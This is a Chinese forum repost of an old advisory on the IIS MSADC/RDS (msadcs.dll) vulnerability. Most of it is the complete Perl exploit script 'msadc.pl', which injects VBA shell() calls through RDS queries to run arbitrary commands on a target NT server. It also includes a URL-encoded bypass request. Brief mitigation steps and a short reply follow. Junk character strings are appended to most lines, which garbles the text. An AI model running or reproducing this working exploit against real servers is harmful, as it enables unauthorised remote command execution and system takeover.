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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) o>Jr6: D(  
IF$*6 ,v.z  
涉及程序: =HkB>w)h  
Microsoft NT server <v =T31aS  
X6Hd%}*mN  
描述: !c8hER!  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 T.p:`}Ma  
j:6VWdgq  
详细: )w++cC4/5  
如果你没有时间读详细内容的话,就删除: /{d5$(Y"  
c:\Program Files\Common Files\System\Msadc\msadcs.dll @-QDp`QtI  
有关的安全问题就没有了。 y6S:[Z{~A  
.IJgkP)!]  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Td6"o&0A!  
6:vdo~  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Xm! ;  
关于利用ODBC远程漏洞的描述,请参看: WMLsKoby  
i5 F9*  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm R87e"m/C%  
g x~fZOF_  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看  9> k-";  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp fer~NlX  
0QxE6>xL=  
这里不再论述。 =^LX,!2zp{  
>AT T<U=  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Cs ND:m  
Tp?l;DU  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset {g(-C&  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! c={bunnz#  
# U j~F  
7xmif YC  
#将下面这段保存为txt文件,然后: "perl -x 文件名" UI>?"b6 L  
uY6|LTK&x  
#!perl `vFYe N;  
# gP?uLnzvi  
# MSADC/RDS 'usage' (aka exploit) script )W& $FU4JK  
# `Mp-4)mn  
# by rain.forest.puppy %IbG@ }54  
# &_N$S2  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me b\O%gg\p%!  
# beta test and find errors! ]FLi^}ct  
CUR70[pB)  
use Socket; use Getopt::Std; ?yq1\G)]  
getopts("e:vd:h:XR", \%args); .s !qf!{V`  
fudIUG.  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; o@&d d NO  
l6lyRJ  
if (!defined $args{h} && !defined $args{R}) { 7FiQTS B:  
print qq~ Tp7slKc0p  
Usage: msadc.pl -h <host> { -d <delay> -X -v } s;;"^5B.  
-h <host> = host you want to scan (ip or domain) T$ )dc^  
-d <seconds> = delay between calls, default 1 second JBKCa 3  
-X = dump Index Server path table, if available ZRd,V~iz  
-v = verbose V@"Y"}4n4  
-e = external dictionary file for step 5 Dqw?3 KB  
Z/S7ei@56  
Or a -R will resume a command session eQRY xx{  
vF,iHzv  
~; exit;} >$yqx1=jW  
DVWqrK}q  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; xC,;IS k,  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} U<*8KiI  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 0ThX1)SH  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ?{O >&<~  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 2-<i#nA3  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } sX~ `Vn&  
m%bw$hr  
if (!defined $args{R}){ $ret = &has_msadc; :sY pZX1  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} XJ`!d\WL/!  
x(Us O}  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 0Lo)Ni^"  
. "cmd /c "; 5k^UZw  
$in=<STDIN>; chomp $in; rIt#ps  
$command="cmd /c " . $in ; 8JU9Qb]L'I  
*)jhhw=34  
if (defined $args{R}) {&load; exit;} /b)V=mcR  
c9eLNVM  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; kq SpZoV0'  
&try_btcustmr; 7jZ=+2  
zNs8yMnFr  
print "\nStep 2: Trying to make our own DSN..."; sr&hQ  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; f;nO$h[Qb  
DhAQ|SdCf  
print "\nStep 3: Trying known DSNs..."; K; +w'/{  
&known_dsn; 6jKZ.S+s)  
|Ts|>"F'  
print "\nStep 4: Trying known .mdbs..."; {iI" Lt  
&known_mdb; /*+P}__k  
{Di()]/  
if (defined $args{e}){ Whd2mKwiO  
print "\nStep 5: Trying dictionary of DSN names..."; H7 xyK  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } uq>\pO&P  
/8(\AuDT  
print "Sorry Charley...maybe next time?\n"; [a<u cJ  
exit; &C.{7ZNt  
8~=<!(M)m/  
############################################################################## H 40~i=.  
7( &\)qf=n  
sub sendraw { # ripped and modded from whisker 5VU 5kiCt  
sleep($delay); # it's a DoS on the server! At least on mine... E8Jy!8/X9T  
my ($pstr)=@_; \C )S3!h  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ?4kM5NtP  
die("Socket problems\n"); |Mj2lZS  
if(connect(S,pack "SnA4x8",2,80,$target)){ 3:XF7T  
select(S); $|=1; PE IUKlX  
print $pstr; my @in=<S>; 5p.vo"7  
select(STDOUT); close(S); KZ"&c~[  
return @in; <QUjhWxDb  
} else { die("Can't connect...\n"); }} u]W$' MyY  
vCf{k  
############################################################################## JfJLJ(}  
I,*zZNv Ri  
sub make_header { # make the HTTP request ;PO{ ips  
my $msadc=<<EOT c==5cMUg  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 !&$uq|-  
User-Agent: ACTIVEDATA _NfdJ=[Xh  
Host: $ip \lJCBb+k  
Content-Length: $clen /YP,Wfd%  
Connection: Keep-Alive BP&T|s  
]5V=kNu i  
ADCClientVersion:01.06 [ p+]H?(A  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 [IF5Iv\b  
 =V- ^  
--!ADM!ROX!YOUR!WORLD! 8gQg#^,(t  
Content-Type: application/x-varg V!Px975P  
Content-Length: $reqlen ScgaWJ  
xp!M A  
EOT &DX&*Xq2  
; $msadc=~s/\n/\r\n/g; )O xsasn)M  
return $msadc;} p f\ Ybbs  
W:s>?(6?  
############################################################################## ~]MACG:'  
&%@b;)]J  
sub make_req { # make the RDS request "~1{|lj|)  
my ($switch, $p1, $p2)=@_; Y ,Iv<Hg  
my $req=""; my $t1, $t2, $query, $dsn; \F$Vm'f_  
4O TuX!  
if ($switch==1){ # this is the btcustmr.mdb query r~K5jL%z9  
$query="Select * from Customers where City=" . make_shell(); 78=a^gRB  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . H{}Nr 4  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} %j.B/U$  
^V1.Y  
elsif ($switch==2){ # this is general make table query \iBEyr]  
$query="create table AZZ (B int, C varchar(10))"; D%=VhKq  
$dsn="$p1";} B_gzpS]  
;qA(!`h+  
elsif ($switch==3){ # this is general exploit table query ~o_zV'^f@o  
$query="select * from AZZ where C=" . make_shell(); <|!?V"`3  
$dsn="$p1";} pk%%}tP<  
[tKH'}/s=  
elsif ($switch==4){ # attempt to hork file info from index server #-]!;sY>  
$query="select path from scope()"; :>:F6Db"U  
$dsn="Provider=MSIDXS;";} sew0n`d1  
v%ldg833l  
elsif ($switch==5){ # bad query 6n|R<DO%\  
$query="select"; p;y\%i_  
$dsn="$p1";} BHNcE*U}@?  
b"DV8fdX  
$t1= make_unicode($query); 6T?$m7c  
$t2= make_unicode($dsn); 5f~49(v]  
$req = "\x02\x00\x03\x00"; }{R?i,j(  
$req.= "\x08\x00" . pack ("S1", length($t1)); I"=a:q  
$req.= "\x00\x00" . $t1 ; c#ahFpsnlw  
$req.= "\x08\x00" . pack ("S1", length($t2)); $ ?HOke  
$req.= "\x00\x00" . $t2 ; n A<#A  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; F}f/cG<X  
return $req;} jkVX>*.|oy  
K&Sz8# +  
############################################################################## _Q**4  
q =\3jd  
sub make_shell { # this makes the shell() statement &>@  
return "'|shell(\"$command\")|'";} hT=6XO od4  
Jq5](F!z  
############################################################################## ajy +%sXf=  
T3_3k. ,|  
sub make_unicode { # quick little function to convert to unicode \CY_nn|&g  
my ($in)=@_; my $out; ujLz<5gKuO  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Vr<eU>W  
return $out;} U.$7=Zl8t  
)K.'sX{B  
############################################################################## 8]`LRzM  
wNfWHaH" m  
sub rdo_success { # checks for RDO return success (this is kludge) + a,x  
my (@in) = @_; my $base=content_start(@in); W$>AK_Y}  
if($in[$base]=~/multipart\/mixed/){ wN+3OPM  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} tL#]G?0d  
return 0;} 7;8#iS/  
CDT%/9+-  
############################################################################## [U^@Bkh  
R5,ISD +s  
sub make_dsn { # this makes a DSN for us 8mmHefZ}2!  
my @drives=("c","d","e","f"); yUyx&Y/  
print "\nMaking DSN: "; WZ A8D0[  
foreach $drive (@drives) { 7m<;"e)  
print "$drive: "; tO@n3"O  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ?V{AP&#M$x  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" $`wo8A|)  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Iq[ d5)M4  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Rxf.@E  
return 0 if $2 eq "404"; # not found/doesn't exist 6^+T_{gl  
if($2 eq "200") { Zv"qA  
foreach $line (@results) { ?BEO(;'  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} xoYaL  
} return 0;} G@N-+  
>.76<fni  
############################################################################## smJ#.I6/L  
O$K?2-  
sub verify_exists { L'@@ewA  
my ($page)=@_; C-TATH%f^  
my @results=sendraw("GET $page HTTP/1.0\n\n"); K:JM*4W  
return $results[0];} A7hWAq  
zz7#g U  
############################################################################## ssx #\  
0sR+@\  
sub try_btcustmr { |EjMpRNE  
my @drives=("c","d","e","f"); 79bt%P  
my @dirs=("winnt","winnt35","winnt351","win","windows"); !8Mi+ZV  
8%,u~ELA  
foreach $dir (@dirs) { u&npUw^Va  
print "$dir -> "; # fun status so you can see progress ,K-?M5(n9  
foreach $drive (@drives) { "%?$BoJR0  
print "$drive: "; # ditto S_|VlI  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; { ML)F]]  
$reqlenlen=length( "$reqlen" ); }u `~lw(Z  
$clen= 206 + $reqlenlen + $reqlen; fJdTVs@  
^h5h kIx0  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 'ZXd |WI  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} *;0Ods+IcY  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ,QZNH?Cp/  
5/f"dX  
############################################################################## gNj~o^6|@  
jg3 X6/'  
sub odbc_error { z7PmyU >  
my (@in)=@_; my $base; "Ei' FM  
my $base = content_start(@in); BM+>.  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this +ak<yV1=  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; "/~KB~bB  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; r/e} DYL&  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; GX@=b6#-  
return $in[$base+4].$in[$base+5].$in[$base+6];} \:pd+8  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 6$ \69   
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ^*@D%U  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 4*Y`Pn@  
ebTwU]Nb  
############################################################################## UVlXDebl  
FDQP|,  
sub verbose { KrzIL[;2o  
my ($in)=@_; &~MM\,KML  
return if !$verbose; -SeHz.` N  
print STDOUT "\n$in\n";} }^"#&w3<  
ys DGF@wZC  
############################################################################## KM&bu='L^  
~ ~U,  
sub save { l2ww3)Z  
my ($p1, $p2, $p3, $p4)=@_; 8n~ o="  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; G{!adBna  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; %'3Y?d  
close OUT;} rWS],q=c  
F./$nwb  
############################################################################## ~z$+uK  
0\DlzIO  
sub load { yq]/r=e!k  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; .EXxNB]%Y&  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); "( NJ{J#A  
@p=<IN>; close(IN); <)4>"SN&^  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); *3s,~<''%  
$target= inet_aton($ip) || die("inet_aton problems"); #P/}'rdt  
print "Resuming to $ip ..."; $>6Kn`UX  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; SYaL@54  
if($p[1]==1) { Nxr%xTD  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; [qHtN.  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; NB)$l2<d  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); {K ,-fbE  
if (rdo_success(@results)){print "Success!\n";} ;]I~AGH:  
else { print "failed\n"; verbose(odbc_error(@results));}} *m.4)2u=  
elsif ($p[1]==3){ f)9{D[InM^  
if(run_query("$p[3]")){ ZD`p$:pT  
print "Success!\n";} else { print "failed\n"; }} m1{OaHxKh  
elsif ($p[1]==4){ y-R:-K XH=  
if(run_query($drvst . "$p[3]")){ U!D\Vd  
print "Success!\n"; } else { print "failed\n"; }} !`qw" i  
exit;} (|t)MnPfY  
227 Z6#CF!  
############################################################################## 3Jj 3!aDB  
^oH!FN`;{  
sub create_table { Z0!yTM/C  
my ($in)=@_; 5 cz6\A&  
$reqlen=length( make_req(2,$in,"") ) - 28; 2y` :#e`x1  
$reqlenlen=length( "$reqlen" ); 9Lp[y%{GP  
$clen= 206 + $reqlenlen + $reqlen; T.B} k`$  
my @results=sendraw(make_header() . make_req(2,$in,"")); I?#B_R#  
return 1 if rdo_success(@results); dePI&z:  
my $temp= odbc_error(@results); verbose($temp); i8 fUzg)  
return 1 if $temp=~/Table 'AZZ' already exists/; NWt5)xl  
return 0;} ~9h/{$  
ZB5u\NpcW  
############################################################################## P d)<Iw^<  
-$@4e|e%a  
sub known_dsn { W;y ,Xs  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go g6l&;S40  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", OaCp3No  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", eW.[M?,  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); yr, Oq~e  
w W1>#F  
foreach $dSn (@dsns) { .In8!hjYy4  
print "."; <h[l)-86  
next if (!is_access("DSN=$dSn")); e}bY 9  
if(create_table("DSN=$dSn")){ r>.^4Z@  
print "$dSn successful\n"; kp>AZVk  
if(run_query("DSN=$dSn")){ 8iKupaaOX  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 4M3{P  
print "Something's borked. Use verbose next time\n";}}} print "\n";} <F#/wU^9  
f3M~2jbv'p  
############################################################################## d`ESe'j:  
6j5?&)xJ  
sub is_access { bP3S{Jt-|  
my ($in)=@_; ^_o9%)RL(  
$reqlen=length( make_req(5,$in,"") ) - 28; ]YqeI*BX  
$reqlenlen=length( "$reqlen" ); [bZASeh  
$clen= 206 + $reqlenlen + $reqlen; :^ *9E b  
my @results=sendraw(make_header() . make_req(5,$in,"")); M-+pYv#&P  
my $temp= odbc_error(@results); n=tg{_9f%  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); <'l;j"&lp  
return 0;} <h<4R Rj  
B%^ $fJ|  
############################################################################## N%" /mcO  
,.PW qfb  
sub run_query { zm`^=cV  
my ($in)=@_; oMer+=vH  
$reqlen=length( make_req(3,$in,"") ) - 28; `|d&ta[{  
$reqlenlen=length( "$reqlen" ); Tt*n.HA  
$clen= 206 + $reqlenlen + $reqlen; /m+q!yi &  
my @results=sendraw(make_header() . make_req(3,$in,"")); WTZr{)e  
return 1 if rdo_success(@results); }2i3  
my $temp= odbc_error(@results); verbose($temp); tW7*(D  
return 0;} {nl4(2$  
e Zb8x  
############################################################################## RBM(>lU:  
wD'LX  
sub known_mdb { SYZS@o  
my @drives=("c","d","e","f","g"); 6yRxb (  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ?iQA>P9B  
my $dir, $drive, $mdb; f7Fr%*cO  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 4RU/y+[o  
q9mYhT/Im  
# this is sparse, because I don't know of many p/GYfa dU  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ~IP3~m D  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ]'a9>o  
"\\system32\\certmdb.mdb", 1XvB,DhJ  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ]&kzIxh  
_m8JU  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", BoMf#l.3B  
"\\cfusion\\cfapps\\forums\\forums_.mdb", TRSR5D[  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", c7$U0JO  
"\\cfusion\\cfapps\\security\\realm_.mdb", l|onH;g\  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", {V{*rq<)  
"\\cfusion\\database\\cfexamples.mdb", $xU5vCwAo  
"\\cfusion\\database\\cfsnippets.mdb", KN"V(<!)~  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",  _8G  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", E%E3h1Ua  
"\\cfusion\\brighttiger\\database\\cleam.mdb", g,seqh%  
"\\cfusion\\database\\smpolicy.mdb", j)[ w X  
"\\cfusion\\database\cypress.mdb", R9B!F{! 5  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 4lqowg0  
"\\website\\cgi-win\\dbsample.mdb", q>X%MN y  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", bWAVBF  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" u  teI[Q  
); #these are just (&x#VmDL  
foreach $drive (@drives) { 3#@ETt0X(  
foreach $dir (@dirs){ _Xn[G>1  
foreach $mdb (@sysmdbs) { 9G'Q3? z  
print "."; 6 NJ5v +  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ WV'FW)%  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; G()- NJ{  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ aH1mW;,1u  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; fGD#|a;,  
} else { print "Something's borked. Use verbose next time\n"; }}}}} b1A8 -![  
Zk.LGYz  
foreach $drive (@drives) { 'nFqq:2Xa  
foreach $mdb (@mdbs) { ,.ln  
print "."; Y :0SrB!\  
if(create_table($drv . $drive . $dir . $mdb)){ z7H[\4A!>  
print "\n" . $drive . $dir . $mdb . " successful\n"; b6k'`vLA  
if(run_query($drv . $drive . $dir . $mdb)){ v!pT!(h4  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; p^U:O&U(  
} else { print "Something's borked. Use verbose next time\n"; }}}} 2@ <x%T  
} 8R6!SB  
JRC+>'}Xj  
############################################################################## }"'^.FG^_  
\HzI*|*A  
sub hork_idx { fi2@`37PM  
print "\nAttempting to dump Index Server tables...\n"; n>Rt9   
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; x@I(G "  
$reqlen=length( make_req(4,"","") ) - 28; U&D"fM8  
$reqlenlen=length( "$reqlen" ); fdD?"z  
$clen= 206 + $reqlenlen + $reqlen; ]B<Hrnn  
my @results=sendraw2(make_header() . make_req(4,"","")); poqx O  
if (rdo_success(@results)){ Jz!8Xg%a  
my $max=@results; my $c; my %d; n~#%>C7  
for($c=19; $c<$max; $c++){ hK+Iow-  
$results[$c]=~s/\x00//g; P>dMET  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; hoc$aqP6pp  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; <Cvlz^K[  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; H-9%/e  
$d{"$1$2"}="";} I]]3=?Y  
foreach $c (keys %d){ print "$c\n"; } 1>"K<6b+  
} else {print "Index server doesn't seem to be installed.\n"; }} A&2)iQ  
CE$c/d[N.  
############################################################################## wPn#>\/L  
1r?<1vh:z  
sub dsn_dict { |8$x  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); \S)\~>.`y!  
while(<IN>){ NY'sZTM&  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; (o1*7_]e  
next if (!is_access("DSN=$dSn")); >C`b 4xQ  
if(create_table("DSN=$dSn")){ 1A4!zqT;  
print "$dSn successful\n"; 3+<}Hm+  
if(run_query("DSN=$dSn")){ !po8[fz~x  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { <|M cE  
print "Something's borked. Use verbose next time\n";}}} *N .f_s  
print "\n"; close(IN);} (>x4X@b  
=8r%zLDw  
############################################################################## 3hOiHO ;  
DHO6&8S  
sub sendraw2 { # ripped and modded from whisker 9=j"kXFf  
sleep($delay); # it's a DoS on the server! At least on mine... 2NLD7A  
my ($pstr)=@_; ^G+1nY4? J  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || x?:[:Hf   
die("Socket problems\n"); }jM&GH1  
if(connect(S,pack "SnA4x8",2,80,$target)){ /#z5bo  
print "Connected. Getting data"; ec: ?Q0  
open(OUT,">raw.out"); my @in; ISI\< qx  
select(S); $|=1; print $pstr; 8 'Z#sM^E  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} "r!O9X6  
close(OUT); select(STDOUT); close(S); return @in; GNzk Vy:u  
} else { die("Can't connect...\n"); }} $!L'ZO1_r  
] ZGP  
############################################################################## bu[v[U4  
kzG m D i  
sub content_start { # this will take in the server headers {$,e@nn  
my (@in)=@_; my $c; ]A:n]mL  
for ($c=1;$c<500;$c++) { GqXnOmk  
if($in[$c] =~/^\x0d\x0a/){ {H+~4XG  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } >;eWgQ6V  
else { return $c+1; }}} aU,Zjm7fp  
return -1;} # it should never get here actually {(@M0?  
X !g"D6'  
############################################################################## 1D03Nbh|5  
\`\& G-\  
sub funky { +_tK \MN  
my (@in)=@_; my $error=odbc_error(@in); $R3]y9`?  
if($error=~/ADO could not find the specified provider/){ P%A^TD|  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; IWvLt  
exit;} .az +'1  
if($error=~/A Handler is required/){ vT V'D&x2  
print "\nServer has custom handler filters (they most likely are patched)\n"; RU3:[ (7  
exit;} ?(el6J}  
if($error=~/specified Handler has denied Access/){ Xm./XC  
print "\nServer has custom handler filters (they most likely are patched)\n"; P08=?  
exit;}} +1R?R9^Fw  
n 0_q-8r  
############################################################################## R _WP r[P  
n}MW# :eJe  
sub has_msadc { Yy6Mkw7X  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); )-q#hY  
my $base=content_start(@results); dd#=_xe  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); \jDD=ew  
return 0;} ufE;rcYE  
>NWrT^rk  
######################## yrOWC  
?!=yp#  
:DTKZ9>2D  
解决方案: 095:"GvO  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ;LRY h?  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ;i*<HNQ  
QOA7#H-m9  
拿出来充数 哈哈
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